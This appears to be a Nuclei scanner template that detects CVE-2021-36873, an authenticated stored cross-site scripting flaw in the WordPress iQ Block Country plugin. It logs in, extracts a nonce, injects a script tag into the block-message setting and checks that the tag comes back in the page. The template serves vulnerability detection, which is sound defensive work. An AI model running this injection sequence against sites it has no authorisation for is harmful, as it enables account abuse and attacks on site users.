id: CVE-2021-36873

info:
  name: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
    - https://wordpress.org/plugins/iq-block-country/
    - https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-36873
    cwe-id: CWE-79
  metadata:
    verified: "true"
  tags: cve,wp-plugin,iq-block-country,cve2021,wordpress,wp,xss,authenticated,wpscan

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: localhost
        Content-Type: application/x-www-form-urlencoded

        option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on

      - |
        GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - contains(all_headers_4, "text/html")
          - status_code_4 == 200
          - contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
          - contains(body_4, '<h3>Block type</h3>')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true

# Enhanced by mp on 2022/09/28